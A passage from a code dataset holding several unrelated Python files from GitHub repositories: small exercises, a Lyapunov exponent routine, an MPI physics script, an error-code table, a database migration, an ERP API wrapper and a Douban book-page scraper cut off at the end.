элемента el\n res += 1\n #нужно учесть парные не el варианты\n if collector[el] > 1:\n dublicate -= 1\n res += 3 * dublicate\n return res\n\n\n\nif __name__ == '__main__':\n n, k = list(map(int, input().split()))\n cards = list(map(int, input().split()))\n res = main(k, cards)\n print(res)\n\n assert main(2, [1, 1, 2, 2, 3]) == 9\n\n","repo_name":"Alset-Nikolas/Algorithm_training_1","sub_path":"июнь 2021, занятие 5/G. Счет в гипершашках.py","file_name":"G. Счет в гипершашках.py","file_ext":"py","file_size_in_byte":1283,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"18345263994","text":"'''\nEnhanced Multiplication Table Generator\nLets the user print a multiplication table, starting at 1, for any number.\nThe user will specify the highest number to multiply by.\n'''\n\ndef print_table(x, y):\n for i in range(1, int(y)+1):\n print('{:>2} x {:>2} = {:>3}'.format(x,i,(x*i)))\n\nif __name__ == '__main__':\n print(\"Floating point numbers will be converted to integers.\")\n print(\"Using very large numbers will break the formatting of the table.\")\n try:\n num = int(input(\"Enter an integer to generate a multiplication table: \"))\n except:\n exit(\"Input was not an integer. Please try again.\")\n try:\n last = int(input(\"Enter the highest integer to multiply the number by: \"))\n except:\n exit(\"Input was not an integer. Please try again.\")\n print_table(num, last)","repo_name":"jdnurczyk/doing_math_with_python","sub_path":"mult_tables.py","file_name":"mult_tables.py","file_ext":"py","file_size_in_byte":820,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"24164670027","text":"import numpy as np\nimport numpy.polynomial.polynomial as poly\nimport matplotlib.pyplot as plt\nimport sys\n\ndef LyE_R(X,Fs,tau,dim,*args):\n \"\"\"\n inputs - X, If this is a single dimentional array the code will use tau\n and dim to perform a phase space reconstruction. If this is\n a multidimentional array the phase space reconstruction will\n not be used.\n - Fs, sampling frequency in units s^-1\n - tau, time lag\n - dim, embedding dimension\n outputs - out, contains the starting matched pairs and the average line\n divergence from which the slope is calculated. The matched\n paris are columns 1 and 2. The average line divergence is\n column 3.\n [LyES,LyEL,out]=LyE_Rosenstein_FC(X,Fs,tau,dim,slope,MeanPeriod,plot)\n inputs - slope, a four element array with the number of periods to find\n the regression lines for the short and long LyE. This is\n converted to indexes in the code.\n - MeanPeriod, used in the slope calculation to find the short and\n long Lyapunov Exponents.\n - plot, a boolean specifying if a figure should be created\n displaying the regression lines. This figure is visible\n by default.\n outputs - LyES, short/local lyapunov exponent\n - LyEL, long/orbital lyapunov exponent\n Remarks\n - This code is based on the algorithm presented by Rosenstein et al,\n 1992.\n - Recommendations for the slope input can be found in the references\n below. It is possible a long term exponent can not be found with your\n inputs. If your selection exceeds the length of the data LyEL will\n return as a NaN.\n Future Work\n - It may be possible to sped it up conciderably by re-organizing the for\n loops. A database for the matched points would need to be created.\n References\n - Rosentein, Collins and De Luca; \"A practical method for calculating\n largest Lyapunov exponents from small data sets;\" 1992\n - Yang and Pai; \"Can stability really predict an impending slip-related\n fall among older adults?\", 2014\n - Brujin, van Dieen, Meijer, Beek; \"Statistical precision and sensitivity\n of measures of dynamic gait stability,\" 2009\n - Dingwell, Cusumano; \"Nonlinear time series analysis of normal and\n pathological human walking,\" 2000\n Version History\n Jun 2008 - Created by Fabian Cignetti\n - It is suspected this code was originally written by Fabian\n Cignetti\n Apr 2017 - Revised by Ben Senderling\n - Added comments section. Automated slope calculation. Added\n calculation of orbital exponent.\n Jun 2020 - Revised by Ben Senderling\n - Incorporated the subroutines directly into the code since they\n were only used in one location. Converted various for loops\n into indexed operations. This significantly improved the\n speed. Added if statements to compensate for errors with the\n orbital LyE. If the data is such an orbital LyE would not be\n found with the hardcoded regression line bounds. Made this \n slope and the file input optional. Removed the MeanPeriod as \n an imput and made it a calculation in the code. Added the out\n array so the matched pairs and average line distance can be\n reviewed, or used to finf the slope. Removed the progress\n output to the command window since it was sped up\n conciderably. Edited the figure output. Added code that allows\n a multivariable input to be entered as X.\n Aug 2020 - Revised by Ben Senderling\n - Removed mean period calculation and turned it into an input.\n This varies too widely between time series to have it\n automatically calculated in the script. It was replaced with\n tau to find paired points.\n \"\"\"\n # Checked that X is vertically oriented. If X is a single or multiple\n # dimentional array the length is assumed to be longer than the width. It\n # is re-oriented if found to be different.\n X = np.array(X,ndmin=2)\n r,c = np.shape(X)\n if r > c:\n X = np.copy(X.transpose())\n\n # Checks if a multidimentional array was entered as X.\n if np.size(X,axis=0) > 1:\n M = np.shape(X)[1]\n Y=X\n else:\n # Calculate useful size of data\n N = np.shape(X)[1]\n M=N-(dim-1)*tau\n \n Y=np.zeros((M,dim))\n for j in range(dim):\n Y[:,j]=X[:,0+j*tau:M+j*tau]\n # Find nearest neighbors\n\n IND2=np.zeros((1,M),dtype=int)\n for i in range(M):\n # Find nearest neighbor.\n Yinit = np.matlib.repmat(Y[i],M,1)\n Ydiff = (Yinit-Y[0:M,:])**2\n Ydisti = np.sqrt(np.sum(Ydiff,axis=1))\n \n # Exclude points too close based on dominant frequency.\n range_exclude = np.arange(round((i+1)-tau*0.8-1),round((i+1)+tau*0.8))\n range_exclude = range_exclude[(range_exclude>=0) & (range_exclude(M-i):\n EndITL=M-i\n\n # Finds the distance between the matched paris and their propagated\n # points to the end of the useable data.\n DM[0:EndITL,i] = np.sqrt(np.sum((Y[i:EndITL+i,:]-Y[IND2[:,i][0]:EndITL+IND2[:,i][0],:])**2,axis=1))\n \n # Calculates the average line divergence.\n r,_ = np.shape(DM)\n\n AveLnDiv = np.zeros(len(DM))\n # NOTE: MATLAB version does not preallocate AveLnDiv, we could preallocate that.\n for i in range(r):\n distanceM = DM[i,:]\n if np.sum(distanceM) != 0:\n AveLnDiv[i]=np.mean(np.log(distanceM[distanceM>0])) \n\n out = np.vstack((out,AveLnDiv))\n\n # Find LyES and LyEL\n plot = 0 # To avoid errors later on\n if len(sys.argv) == 0:\n output_list = out\n else:\n slope = args[0]\n MeanPeriod = args[1]\n plot = args[2]\n output_list = list()\n \n \n time = np.arange(0,len(AveLnDiv)) / Fs / MeanPeriod\n\n shortL = np.zeros(2,dtype=int)\n longL = np.zeros(2,dtype=int)\n \n # The values in slope are assumed to be the number of periods. These\n # are converted into indexes.\n if slope[0] == 0:\n shortL[0] = 0 # A value of 0 periods cannot be used.\n else:\n shortL[0] = round(slope[0]*MeanPeriod*Fs)\n \n shortL[1] = round(slope[1]*MeanPeriod*Fs)\n \n longL[0] = round(slope[2]*MeanPeriod*Fs)\n longL[1] = round(slope[3]*MeanPeriod*Fs)\n \n # If the index chosen exceeds the length of AveLnDiv then that exponent\n # is made a NaN.\n if shortL[1] <= np.size(np.nonzero(AveLnDiv)):\n slopeinterceptS=poly.polyfit(time[shortL[0]:shortL[1]+1], AveLnDiv[shortL[0]:shortL[1]+1],1)\n LyES=slopeinterceptS[1]\n timeS=time[shortL[0]:shortL[1]+1]\n LyESline=poly.polyval(timeS,slopeinterceptS)\n else:\n LyES=np.nan\n \n \n if longL[1] <= np.size(np.nonzero(AveLnDiv)):\n slopeinterceptL=poly.polyfit(time[longL[0]:longL[1]+1], AveLnDiv[longL[0]:longL[1]+1],1)\n LyEL=slopeinterceptL[1]\n timeL=time[longL[0]:longL[1]+1]\n LyELline=poly.polyval(timeL,slopeinterceptL)\n else:\n LyEL=np.nan\n \n output_list.append(LyES)\n output_list.append(LyEL)\n output_list.append(out)\n\n AveLnDiv = AveLnDiv[np.nonzero(AveLnDiv)]\n time = time[0:len(AveLnDiv)]\n \n # Plot data\n \n if plot == 1:\n plt.plot(time,AveLnDiv, color=\"black\")\n plt.title(\"LyE\")\n plt.xlabel(\"Periods (s)\")\n plt.ylabel(\"\")\n \n if not np.isnan(LyES):\n plt.plot(timeS,LyESline,color=\"red\",linewidth=3,label=\"LyE_Short = {}\".format(LyES))\n if not np.isnan(LyEL):\n plt.plot(timeL,LyELline,color=\"green\",linewidth=3,label=\"LyE_Long = {}\".format(LyEL))\n\n plt.legend(loc=\"best\")\n plt.show()\n return output_list","repo_name":"Nonlinear-Analysis-Core/NONANLibrary","sub_path":"python/LyE_R.py","file_name":"LyE_R.py","file_ext":"py","file_size_in_byte":8842,"program_lang":"python","lang":"en","doc_type":"code","stars":33,"dataset":"github-code","pt":"72"} +{"seq_id":"72529767913","text":"\n# The difference with _v3 is that here the particles can have different mass and the gravitational acceleration calculation is accordingly modified.\n# The difference with _v2 is that here we incorporate shear viscosity by using the Balsara switch.\n# The difference with previous version is that here we separated u and u_previous, ut_previous updates separately. See below.\n# modified to be used with any number of CPUs.\n# New h algorithm is employed !\n\nimport numpy as np\nimport time\nimport pickle\nimport os\nfrom libsx2_2t import *\nfrom mpi4py import MPI\nfrom shear_test3_t_del import *\nimport pandas as pd\n\n\n\nnp.random.seed(42)\n\ncomm = MPI.COMM_WORLD\nrank = comm.Get_rank()\nnCPUs = comm.Get_size()\n\n\n\nwith open('hydroData_130k.pkl', 'rb') as f:\n\tdata = pickle.load(f)\n\nr = data['r']\nx = r[:, 0]\ny = r[:, 1]\nz = r[:, 2]\n\nv = data['v']\nvx = v[:, 0]\nvy = v[:, 1]\nvz = v[:, 2]\n\nrho = data['rho']\nP = data['P']\nc = data['c']\nh = data['h']\nm = data['m']\ndivV = data['divV']\ncurlV = data['curlV']\nalpha = data['alpha']\n\n\n\n\nN = r.shape[0]\n\n#------- used in MPI --------\ncount = N // nCPUs\nremainder = N % nCPUs\n\nif rank < remainder:\n\tnbeg = rank * (count + 1)\n\tnend = nbeg + count + 1\nelse:\n\tnbeg = rank * count + remainder\n\tnend = nbeg + count\n#----------------------------\n\nif rank == 0:\n\tTT = time.time()\n\t\n#------ acc_sph mu_visc -------\nacc_sph = 0.0\n#dt_cv = 0.0\ntmp = getAcc_sph_shear_mpi(nbeg, nend, r, v, rho, P, c, h, m, divV, curlV, alpha)\n\nlocal_acc_sph = tmp\n#local_dt_cv = tmp[1]\n\n\nif rank == 0:\n\tacc_sph = local_acc_sph\n\t#dt_cv = local_dt_cv\n\tfor i in range(1, nCPUs):\n\t\ttmpt = comm.recv(source = i)\n\t\tacc_sph_tmp = tmpt\n\t\t#dt_cv_tmp = tmpt[1]\n\t\tacc_sph = np.concatenate((acc_sph, acc_sph_tmp))\n\t\t#dt_cv = np.concatenate((dt_cv, dt_cv_tmp))\nelse:\n\tcomm.send(local_acc_sph, dest = 0)\n\nacc_sph = comm.bcast(acc_sph, root = 0)\n#dt_cv = comm.bcast(dt_cv, root = 0)\n#dt_cv = np.min(dt_cv)\n#----------------------\n\nif rank == 0:\n\tprint('TT = ', time.time() - TT)\n\nif rank == 0:\n\tax = acc_sph[:, 0]\n\tay = acc_sph[:, 1]\n\taz = acc_sph[:, 2]\n\n\tdictx = {'ax': ax, 'ay': ay, 'az': az}\n\tdf = pd.DataFrame(dictx)\n\tdf.to_csv('acc_sph_cpu.csv', index = False)\n\t\n\tprint(df)\n\n\n\n\n\n\n","repo_name":"hassanfv/SPH_2","sub_path":"11_Dec_2022/MPI_sph/Isothermal_collapse_Aug_2022/Using_Slow_h/Anathpindika_II/Model_4/subSampling_IC/Speed_test/h_for_cpp/acc_sph/acc_sph_mpi.py","file_name":"acc_sph_mpi.py","file_ext":"py","file_size_in_byte":2173,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"27249744852","text":"#coding:utf-8\nerrorDic={\n 900 : {\n \"code\": \"900\",\n \"status\": 500,\n \"message\": \"未被定义的错误类型\",\n \"help_document\": \"/oauth/v1.0.0/help/900\"\n },\n 601: {\n \"code\": \"601\",\n \"status\":401,\n \"message\": \"未经过JctOAuth授权的第三方应用\",\n \"help_document\": \"/oauth/v1.0.0/help/601\"\n },\n 602: {\n \"code\": \"602\",\n \"status\":401,\n \"message\": \"未登录授权的应用\",\n \"help_document\": \"/oauth/v1.0.0/help/602\"\n },\n 603: {\n \"code\": \"603\",\n \"status\":404,\n \"message\": \"用户名不存在\",\n \"help_document\": \"/oauth/v1.0.0/help/603\"\n },\n 604: {\n \"code\": \"604\",\n \"status\":404,\n \"message\": \"未授权的访问\",\n \"help_document\": \"/oauth/v1.0.0/help/604\"\n },\n 605: {\n \"code\": \"605\",\n \"status\":404,\n \"message\": \"账号被禁用\",\n \"help_document\": \"/oauth/v1.0.0/help/605\"\n },\n 606: {\n \"code\": \"606\",\n \"status\":404,\n \"message\": \"密码不正确\",\n \"help_document\": \"/oauth/v1.0.0/help/606\"\n },\n 701: {\n \"code\": \"701\",\n \"status\":500,\n \"message\": \"数据库连接失败\",\n \"help_document\": \"/oauth/v1.0.0/help/701\"\n },\n 702: {\n \"code\": \"702\",\n \"status\":500,\n \"message\": \"无法从链接池中获得数据库连接\",\n \"help_document\": \"/oauth/v1.0.0/help/702\"\n },\n 703: {\n \"code\": \"703\",\n \"status\":500,\n \"message\":\"SQL 语句执行失败(I)\",\n \"help_document\":\"/oauth/v1.0.0/help/703\"\n },\n 704: {\n \"code\": \"704\",\n \"status\":500,\n \"message\":\"SQL 语句执行失败(D)\",\n \"help_document\":\"/oauth/v1.0.0/help/704\"\n },\n 705: {\n \"code\": \"705\",\n \"status\":500,\n \"message\":\"SQL 语句执行失败(U)\",\n \"help_document\":\"/oauth/v1.0.0/help/705\"\n },\n 706: {\n \"code\": \"706\",\n \"status\":500,\n \"message\":\"SQL 语句执行失败(S)\",\n \"help_document\":\"/oauth/v1.0.0/help/706\"\n },\n 707: {\n \"code\": \"707\",\n \"status\":500,\n \"message\":\"SQL 语句执行失败(C)\",\n \"help_document\":\"/oauth/v1.0.0/help/707\"\n },\n 801: {\n \"code\": \"801\",\n \"status\":400,\n \"message\":\"参数列表错误\",\n \"help_document\":\"/o2b/v1.0.0/help/801\"\n },\n 802 : {\n \"code\": \"802\",\n \"status\":404,\n \"message\":\"没有找到数据\",\n \"help_document\":\"/o2b/v1.0.0/help/802\"\n },\n 803 : {\n \"code\": \"803\",\n \"status\":404,\n \"message\":\"修改数据失败\",\n \"help_document\":\"/o2b/v1.0.0/help/803\"\n },\n 804 : {\n \"code\": \"804\",\n \"status\":404,\n \"message\":\"数据唯一标示已存在\",\n \"help_document\":\"/o2b/v1.0.0/help/803\"\n },\n 807 : {\n \"code\": \"807\",\n \"status\":404,\n \"message\":\"该菜单编码已存在\",\n \"help_document\":\"/o2b/v1.0.0/help/807\"\n },\n 808 : {\n \"code\": \"808\",\n \"status\":404,\n \"message\":\"该菜单已存在该类菜单项,无法重复添加\",\n \"help_document\":\"/o2b/v1.0.0/help/808\"\n },\n 910: {\n \"code\": \"910\",\n \"status\": 500,\n \"message\": \"用户名重复\",\n \"help_document\": \"/oauth/v1.0.0/help/1000\"\n },\n\n 911: {\n \"code\": \"911\",\n \"status\": 500,\n \"message\": \"用户组名称重复\",\n \"help_document\": \"/oauth/v1.0.0/help/1000\"\n }\n\n}\n\n\n# _version_ = 0.2.0\n# 新增strErrorNMessage参数,传递原始的错误信息\n\nclass BaseError(Exception) :\n def __init__(self,code,strErrorMessage='') :\n self.code=code\n self.message = strErrorMessage\n\n def __str__(self) :\n return repl(self.code)\n\n\n","repo_name":"zhangweijia-fuma/JCL","sub_path":"JDS/src/service/libs/web/baseException.py","file_name":"baseException.py","file_ext":"py","file_size_in_byte":4412,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"72"} +{"seq_id":"32047628852","text":"\"\"\"make active plays nullable\n\nRevision ID: 7de96aea0f36\nRevises: 7bf5a873f2bc\nCreate Date: 2023-03-22 08:29:36.679604\n\n\"\"\"\nimport sqlalchemy as sa\nfrom alembic import op\n\n# revision identifiers, used by Alembic.\nrevision = '7de96aea0f36'\ndown_revision = '7bf5a873f2bc'\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade() -> None:\n # ### commands auto generated by Alembic - please adjust! ###\n op.alter_column('user', 'active_screenplay_id',\n existing_type=sa.VARCHAR(length=256),\n nullable=True)\n op.alter_column('user', 'active_act_id',\n existing_type=sa.VARCHAR(length=256),\n nullable=True)\n # ### end Alembic commands ###\n\n\ndef downgrade() -> None:\n # ### commands auto generated by Alembic - please adjust! ###\n op.alter_column('user', 'active_act_id',\n existing_type=sa.VARCHAR(length=256),\n nullable=False)\n op.alter_column('user', 'active_screenplay_id',\n existing_type=sa.VARCHAR(length=256),\n nullable=False)\n # ### end Alembic commands ###\n","repo_name":"Melevir/learn_bot","sub_path":"migrations/versions/7de96aea0f36_make_active_plays_nullable.py","file_name":"7de96aea0f36_make_active_plays_nullable.py","file_ext":"py","file_size_in_byte":1131,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"72"} +{"seq_id":"69934901032","text":"#dodać limit elementu w zakresie 1-10 kg\n\nliczba_elementow = int(input(\"Podaj mi ilość elementów: \"))\nsuma_wszystkich_kilogramow = 0\nwaga_paczki = 0\nilosc_paczek = 1\nsuma_pustych_kilogramow = 0\npaczka_z_najwieksza_iloscia_pustcy_kg = 1\nnajwecej_pustych_kg = 0\nfor element in range(liczba_elementow):\n waga_elementu = float(input(\"Podaj mi wagę elementu: \"))\n suma_wszystkich_kilogramow += waga_elementu\n if waga_elementu + waga_paczki <= 20:\n waga_paczki += waga_elementu\n else:\n suma_pustych_kilogramow += (20 - waga_paczki)\n puste_kg_w_tej_paczce = 20 - waga_paczki\n if puste_kg_w_tej_paczce > najwecej_pustych_kg:\n paczka_z_najwieksza_iloscia_pustcy_kg = ilosc_paczek\n najwecej_pustych_kg = puste_kg_w_tej_paczce\n ilosc_paczek += 1\n waga_paczki = waga_elementu\npuste_kg_w_ostatniej_paczce = 20 - waga_paczki\nsuma_pustych_kilogramow += (20 -waga_paczki)\nif puste_kg_w_ostatniej_paczce > najwecej_pustych_kg:\n paczka_z_najwieksza_iloscia_pustcy_kg = ilosc_paczek\n najwecej_pustych_kg = puste_kg_w_ostatniej_paczce\n\nprint(f\"Suma wszystkich kg wysłanych to: {suma_wszystkich_kilogramow}\")\nprint(f\"Ilość paczek to: {ilosc_paczek}\")\nprint(f\"Liczba pustych kg w paczkach to: {suma_pustych_kilogramow}\")\nprint(f\"Najmniej kg było w paczce {paczka_z_najwieksza_iloscia_pustcy_kg}, było to: {najwecej_pustych_kg}\")\n\n\n","repo_name":"Aroniasty/FC_kurs","sub_path":"Lesson_08_Python/paczki.py","file_name":"paczki.py","file_ext":"py","file_size_in_byte":1401,"program_lang":"python","lang":"pl","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"6977218996","text":"import os\nimport requests\nimport json\n\n\nclass APIKeyMissingError(Exception):\n \"\"\"\n Raised when there is no API key in TINY_TOKEN_KEY environment variable\n \"\"\"\n pass\n\n\nclass Tiny:\n def __init__(self, format='JSON'):\n \"\"\" format can be JSON or XML \"\"\"\n supported_formats = ['JSON', 'XML']\n\n if format not in supported_formats:\n raise ValueError(\n f'Invalid format type. Expected one of: {supported_formats}'\n )\n\n # Tries to get Tiny ERP's token from environment variable\n TINY_TOKEN_KEY = os.environ.get('TINY_TOKEN_KEY', None)\n if TINY_TOKEN_KEY is None:\n raise APIKeyMissingError(\n 'Tiny ERP Token key not found. '\n 'Check if it is defined as an environment variable.'\n )\n\n # Sets Tiny ERP's token\n self.token = TINY_TOKEN_KEY\n # Defines return format, JSON or XML\n self.format = format\n # Sets requests timeout to 10 seconds\n self.timeout = 10\n self.products = []\n\n def _url(self, url):\n \"\"\" Given a url path, returns a complete url to make the API call \"\"\"\n return f'https://api.tiny.com.br/api2/{url}.php'\n\n def create_product(self, sequencia=1, situacao='A', tipo='P', **kwargs):\n \"\"\"\n Creates a product's information dict\n Sets default values of the product to:\n Sequência = 1\n Situação = 'Aprovado'\n Tipo = 'Produto'\n \"\"\"\n kwargs['sequencia'] = sequencia\n kwargs['situacao'] = situacao\n kwargs['tipo'] = tipo\n kwargs['origem'] = '2'\n return {'produto': kwargs}\n\n def get_payload(self, **kwargs):\n \"\"\" Returns dictionary of required data to make the API call \"\"\"\n kwargs['token'] = self.token\n kwargs['formato'] = self.format\n return kwargs\n\n def get_products_payload(self, **kwargs):\n \"\"\" Returns dictionary of required data to make the API call \"\"\"\n kwargs['token'] = self.token\n kwargs['formato'] = self.format\n kwargs['produto'] = {'produtos': self.products}\n return kwargs\n\n def search_product(self, product):\n \"\"\"\n Search for a single or multiple products using a string or int\n Returns result(s) as dict\n \"\"\"\n payload = self.get_payload(pesquisa=product)\n path = self._url('produtos.pesquisa')\n try:\n request = requests.get(path, params=payload, timeout=self.timeout)\n request.raise_for_status()\n except requests.exceptions.HTTPError as err:\n raise SystemExit(err)\n\n return request.json()\n\n def get_product(self, id):\n \"\"\"\n Returns product data as dict from a product id\n Id is converted to string on requests\n \"\"\"\n payload = self.get_payload(id=id)\n path = self._url('produto.obter')\n try:\n request = requests.get(\n path,\n params=payload,\n timeout=self.timeout\n )\n request.raise_for_status()\n except requests.exceptions.HTTPError as err:\n raise SystemExit(err)\n\n return request.json()\n\n def add_product(self, product):\n \"\"\" Adds a product to ERP \"\"\"\n pass\n\n def change_product(self, codigo, unidade, preco, tags):\n \"\"\"\n Changes an existing product from ERP\n Must provide product's codigo, unidade and preco\n\n The codigo argument is equal to the SKU value in Tiny\n Preco must be a float type\n tags must be an array of strings containing tag IDs\n\n Tiny ERP accepts only arguments in the request\n It does not work with requests with json argument\n Use requests with data argument\n\n Requests does not accept nested json,\n so convert nested dicts into json before sending the payload\n \"\"\"\n product = self.create_product(\n codigo=codigo,\n unidade=unidade,\n preco=preco,\n tags=tags,\n )\n\n payload = self.get_payload(produto=json.dumps({'produtos': [product]}))\n path = self._url('produto.alterar')\n\n try:\n r = requests.post(path, data=payload, timeout=self.timeout)\n breakpoint()\n r.raise_for_status()\n except requests.exceptions.HTTPError as err:\n raise SystemExit(err)\n return r\n\n def get_product_tags(self, id):\n \"\"\" Returns all tags from a product \"\"\"\n payload = self.get_payload(id=id)\n path = self._url('produto.obter.tags')\n try:\n r = requests.get(path, params=payload, timeout=self.timeout)\n r.raise_for_status()\n except requests.exceptions.HTTPError as err:\n raise SystemExit(err)\n return r.json()\n\n def search_tags(self, pesquisa, idGrupo=None, pagina=None):\n \"\"\" Search tags from a pesquisa parameter \"\"\"\n payload = self.get_payload(pesquisa=pesquisa)\n path = self._url('tag.pesquisa')\n try:\n r = requests.get(path, params=payload, timeout=self.timeout)\n r.raise_for_status()\n except requests.exceptions.HTTPError as err:\n raise SystemExit(err)\n return r.json()\n","repo_name":"edumats/tiny-python-wrapper","sub_path":"wrapper.py","file_name":"wrapper.py","file_ext":"py","file_size_in_byte":5409,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"13672322432","text":"# -*- coding: utf-8 -*-\n\n\nclass RentalPriceException(Exception):\n pass\n\n\nclass RentalPrice(object):\n\n def __init__(self, unit):\n self.unit = unit\n\n def get_amount(self):\n raise NotImplementedError()\n\n\nclass RentalPricePerHour(RentalPrice):\n\n price = 5\n\n def get_amount(self):\n return self.price * self.unit\n\n\nclass RentalPricePerDay(RentalPrice):\n\n price = 20\n\n def get_amount(self):\n return self.price * self.unit\n\n\nclass RentalPricePerWeek(RentalPrice):\n\n price = 60\n\n def get_amount(self):\n return self.price * self.unit\n\n\nclass CompanyInvoice(object):\n\n OPEN = 0\n CLOSED = 1\n FAMILYRENTALDISCOUNT = 0.3\n RENTALPRICES = {\n 0: RentalPricePerHour,\n 1: RentalPricePerDay,\n 2: RentalPricePerWeek\n }\n\n invoice_rows = []\n\n def __init__(self):\n self.status = self.OPEN\n\n def add_invoice_row(self, type_of_rent, unit):\n if self.status == 1 or type_of_rent not in self.RENTALPRICES.keys():\n return False\n self.invoice_rows.append(\n self.RENTALPRICES[type_of_rent](unit).get_amount()\n )\n return True\n\n def get_total(self):\n if 3 <= len(self.invoice_rows) <= 5:\n return (1 - self.FAMILYRENTALDISCOUNT) * sum(self.invoice_rows)\n else:\n return sum(self.invoice_rows)\n\n def closed_invoice(self):\n self.status = self.CLOSED\n","repo_name":"pythonfortinero/intive-fdv-test","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":1425,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"36611528682","text":"# -*- coding: utf-8 -*-\n# @Author : yocichen\n# @Email : yocichen@126.com\n# @File : doubanBooks.py\n# @Software: PyCharm\n# @Time : 2019/11/9 11:38\n\n\n'''\n任务:\n爬取书籍图片链接/\n爬取内容简介/\n爬取作者简介/\n爬取标签(需要判断标签的类型,最好给一个筛选列表)- 改爬具体标签下的书籍src了\n'''\n\nimport re\nimport openpyxl\nimport requests\nfrom requests import RequestException\nfrom bs4 import BeautifulSoup\nimport lxml\nimport time\nimport random\n\ndef get_one_page(url):\n '''\n Get the html of a page by requests module\n :param url: page url\n :return: html / None\n '''\n try:\n head = ['Mozilla/5.0', 'Chrome/78.0.3904.97', 'Safari/537.36']\n headers = {\n 'user-agent':head[random.randint(0, 2)]\n }\n response = requests.get(url, headers=headers) #, proxies={'http':'171.15.65.195:9999'}\n if response.status_code == 200:\n return response.text\n return None\n except RequestException:\n return None\n\ndef get_request_res(pattern_text, html):\n '''\n Get the book info by re module\n :param pattern_text: re pattern\n :param html: page's html text\n :return: book's info\n '''\n pattern = re.compile(pattern_text, re.S)\n res = re.findall(pattern, html)\n if len(res) > 0:\n return res[0].split('<', 1)[0][1:]\n else:\n return 'NULL'\n\ndef get_bs_res(selector, html):\n '''\n Get the book info by bs4 module\n :param selector: info selector\n :param html: page's html text\n :return: book's info\n '''\n soup = BeautifulSoup(html, 'lxml')\n res = soup.select(selector)\n # if res is not None or len(res) is not 0:\n # return res[0].string\n # else:\n # return 'NULL'\n if res is None:\n return 'NULL'\n elif len(res) == 0:\n return 'NULL'\n else:\n return res[0].string\n\n# Get other info by bs module\ndef get_bs_img_res(selector, html):\n soup = BeautifulSoup(html, 'lxml')\n res = soup.select(selector)\n if len(res) is not 0:\n return str(res[0])\n else:\n return 'NULL'\n\ndef parse_one_page(html):\n '''\n Parse the useful info of html by re module\n :param html: page's html text\n :return: all of book info(dict)\n '''\n book_info = {}\n book_name = get_bs_res('div > h1 > span', html)\n # print('Book-name', book_name)\n book_info['Book_name'] = book_name\n # info > a:nth-child(2)\n author = get_bs_res('div > span:nth-child(1) > a', html)\n if author is None:\n author = get_bs_res('#info > a:nth-child(2)', html)\n # print('Author', author)\n author = author.replace(\" \", \"\")\n author = author.replace(\"\\n\", \"\")\n book_info['Author'] = author\n\n publisher = get_request_res(u'出版社:(.*?)
', html)\n # print('Publisher', publisher)\n book_info['publisher'] = publisher\n\n publish_time = get_request_res(u'出版年:(.*?)
', html)\n # print('Publish-time', publish_time)\n book_info['publish_time'] = publish_time\n\n ISBN = get_request_res(u'ISBN:(.*?)
', html)\n # print('ISBN', ISBN)\n book_info['ISBN'] = ISBN\n\n img_label = get_bs_img_res('#mainpic > a > img', html)\n pattern = re.compile('src=\"(.*?)\"', re.S)\n img = re.findall(pattern, img_label)\n if len(img) is not 0:\n # print('img-src', img[0])\n book_info['img_src'] = img[0]\n else:\n # print('src not found')\n book_info['img_src'] = 'NULL'\n\n book_intro = get_bs_res('#link-report > div:nth-child(1) > div > p', html)\n # print('book introduction', book_intro)\n book_info['book_intro'] = book_intro\n\n author_intro = get_bs_res('#content > div > div.article > div.related_info > div:nth-child(4) > div > div > p', html)\n # print('author introduction', author_intro)\n book_info['author_intro'] = author_intro\n\n grade = get_bs_res('div > div.rating_self.clearfix > strong', html)\n if len(grade) == 1:\n # print('Score no mark')\n book_info['Score'] = 'NULL'\n else:\n # print('Score', grade[1:])\n book_info['Score'] = grade[1:]\n\n comment_num = get_bs_res('#interest_sectl > div > div.rating_self.clearfix > div > div.rating_sum > span > a > span', html)\n # print('commments', comment_num)\n book_info['commments'] = comment_num\n\n five_stars = get_bs_res('#interest_sectl > div > span:nth-child(5)', html)\n # print('5-stars', five_stars)\n book_info['5_stars'] = five_stars\n\n four_stars = get_bs_res('#interest_sectl > div > span:nth-child(9)', html)\n # print('4-stars', four_stars)\n book_info['4_stars'] = four_stars\n\n three_stars = get_bs_res('#interest_sectl > div > span:nth-child(13)', html)\n # print('3-stars', three_stars)\n book_info['3_stars'] = three_stars\n\n two_stars = get_bs_res('#interest_sectl > div > span:nth-child(17)', html)\n # print('2-stars', two_stars)\n book_info['2_stars'] = two_stars\n\n one_stars = get_bs_res('#interest_sectl > div > span:nth-child(21)', html)\n # print('1-stars', one_stars)\n book_info['1_stars'] = one_stars\n\n return book_info\n\ndef write_bookinfo_excel(book_info, file):\n '''\n Write book info into excel file\n :param book_info: a dict\n :param file: memory excel file\n :return: the num of successful item\n '''\n wb = openpyxl.load_workbook(file)\n ws = wb.worksheets[0]\n sheet_row = ws.max_row\n sheet_col = ws.max_column\n i = sheet_row\n j = 1\n for key in book_info:\n ws.cell(i+1, j).value = book_info[key]\n j += 1\n done = ws.max_row - sheet_row\n wb.save(file)\n return done\n\ndef read_booksrc_get_info(src_file, info_file):\n '''\n Read the src file and access each src, parse html and write info into file\n :param src_file: src file\n :param info_file: memory file\n :return: the num of successful item\n '''\n wb = openpyxl.load_workbook(src_file)\n ws = wb.worksheets[0]\n row = ws.max_row\n done = 0\n for i in range(868, row+1):\n src = ws.cell(i, 1).value\n if src is None:\n continue\n html = get_one_page(str(src))\n book_info = parse_one_page(html)\n done += write_bookinfo_excel(book_info, info_file)\n if done % 10 == 0:\n print(done, 'done')\n return done\n\nif __name__ == '__main__':\n # url = 'https://book.douban.com/subject/1770782/'\n # html = get_one_page(url)\n # # print(html)\n # book_info = parse_one_page(html)\n # print(book_info)\n # res = write_bookinfo_excel(book_info, 